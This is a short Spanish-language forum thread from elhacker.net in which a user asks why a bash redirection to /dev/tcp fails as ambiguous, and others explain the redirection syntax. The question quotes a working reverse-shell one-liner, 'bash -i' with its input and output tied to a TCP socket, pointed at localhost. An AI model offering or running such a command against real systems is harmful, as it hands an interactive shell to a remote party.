Foro de elhacker.net

Sistemas Operativos => GNU/Linux => Mensaje iniciado por: 4v1dy4 en 25 Diciembre 2022, 17:05 pm



Título: Redireccion de descriptores de archivo supuestamente ambigua (bash)
Publicado por: 4v1dy4 en 25 Diciembre 2022, 17:05 pm
Buenas Navidades,

Es mi primer post en el foro. Sin enrollarme mucho me alegro (de volver) aqui y continuo con la pregunta:

Si ejecuto bash interactivo de la siguiente forma:

Código
  1. bash -i 1>& /dev/tcp/127.0.0.1/8080 0>&1 2>&1
  2.  

Puedo redirigir con exito stdout al socket, stdin a stdout (al socket) y stderr a stdout (").

El problema es que si hago lo siguente:

Código
  1. bash -i 0>& /dev/tcp/127.0.0.1/8080 1>&0 2>&0
  2.  

Obtengo el error:

Código
  1. bash: /dev/tcp/127.0.0.1/8080: ambiguous redirect
  2.  

Para entender por que no entiendo yo por que no funciona, yo me imagino la primera linea de comandos asi:

stdout -> socket
stdin <- socket

Lo unico que me imagino que cambia con la segunda, es que se convierte en:

stdin <- socket
stdout -> socket

¿Por que no funciona como deberia?

Gracias de antemano y feliz Navidad de nuevo. Jingle bells jingle bells jingle all the way :D


Título: Re: Redireccion de descriptores de archivo supuestamente ambigua (bash)
Publicado por: MinusFour en 29 Diciembre 2022, 05:28 am
¿Porque útilizas 1>& y 2>&? Si tu intención es solo enviar stdout/stdin al socket, solo es necesario utilizar 1> y 0>.


Título: Re: Redireccion de descriptores de archivo supuestamente ambigua (bash)
Publicado por: 4v1dy4 en 29 Diciembre 2022, 13:15 pm
Hola, gracias por contestar. : D

Pues parece que fue un mal entendido de como funciona bash. Tienes razon. Pensaba que /dev/tcp... te devolvia un descriptor de archivo, ahora veo que se trata de una sintaxis como tal de bash. La verdad creo que seria mas eficiente si te devolviera un fd. Igual me pierdo de algo. Muchas gracias.

(Y respecto a 2>, es que tambien pretendia redirigir stderr al socket).